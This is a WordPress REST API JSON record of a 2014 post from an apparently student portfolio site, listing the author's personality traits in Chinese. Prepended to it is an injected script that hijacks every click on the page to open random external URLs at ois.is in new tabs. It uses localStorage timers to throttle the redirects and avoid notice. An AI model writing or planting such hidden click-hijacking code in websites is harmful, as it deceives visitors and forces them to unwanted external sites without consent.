<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":389,"date":"2014-05-09T22:32:18","date_gmt":"2014-05-09T14:32:18","guid":{"rendered":"http:\/\/edu.secda.info\/scu8154245\/?p=389"},"modified":"2023-03-02T21:10:07","modified_gmt":"2023-03-02T13:10:07","slug":"%e6%80%a7%e6%a0%bc%e7%89%b9%e8%b3%aa","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154245\/?p=389","title":{"rendered":"\u6027\u683c\u7279\u8cea"},"content":{"rendered":"<hr \/>\n<p><span style=\"font-size: 14pt;\"><strong style=\"color: #000000; line-height: 1.3em;\"><span style=\"color: #0000ff;\">\u3010\u6211\u7684\u6027\u683c\u50be\u5411\u3011<\/span><\/strong><\/span><\/p>\n<p>\u76e1\u5584\u76e1\u7f8e\uff1a\u6703\u76e1\u81ea\u5df1\u6240\u80fd\u5c07\u4e8b\u60c5\u505a\u5230\u6700\u597d\uff0c\u6709\u9ede\u5b8c\u7f8e\u4e3b\u7fa9\u8005\u3002<\/p>\n<p>\u6709\u8cac\u4efb\u611f\uff1a\u52d9\u5be6\u7684\u500b\u6027\u8b93\u6211\u9664\u4e86\u80fd\u6309\u6642\u5b8c\u6210\u4efb\u52d9\uff0c\u5176\u5b8c\u6210\u5ea6\u4e5f\u60f3\u7576\u5f97\u9ad8\u3002<\/p>\n<p>\u89c0\u5bdf\u529b\u654f\u92b3\uff1a\u5f80\u5f80\u80fd\u8a18\u5f97\u4ed6\u4eba\u6240\u91cd\u8996\u7684\u4e8b\uff0c\u91cd\u8996\u5225\u4eba\u611f\u53d7\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3010\u6211\u7684\u6027\u683c\u50be\u5411\u3011 \u76e1\u5584\u76e1\u7f8e\uff1a\u6703\u76e1\u81ea\u5df1\u6240\u80fd\u5c07\u4e8b\u60c5\u505a\u5230\u6700\u597d\uff0c\u6709\u9ede\u5b8c\u7f8e\u4e3b\u7fa9\u8005\u3002 \u6709\u8cac\u4efb<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[19],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/posts\/389"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=389"}],"version-history":[{"count":7,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/posts\/389\/revisions"}],"predecessor-version":[{"id":949,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=\/wp\/v2\/posts\/389\/revisions\/949"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=389"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=389"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154245\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=389"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}